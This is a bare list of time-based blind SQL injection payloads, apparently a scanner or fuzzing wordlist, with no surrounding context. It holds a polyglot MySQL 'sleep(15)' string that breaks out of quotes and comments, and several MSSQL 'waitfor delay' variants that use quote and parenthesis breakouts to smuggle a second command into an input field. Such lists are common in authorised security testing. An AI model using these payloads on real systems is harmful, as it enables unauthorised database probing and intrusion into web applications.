(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1)); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
uBrmd3Fd'; waitfor delay '0:0:15' --
jlrkE3M0'); waitfor delay '0:0:15' --
73TbjklR')); waitfor delay '0:0:15' --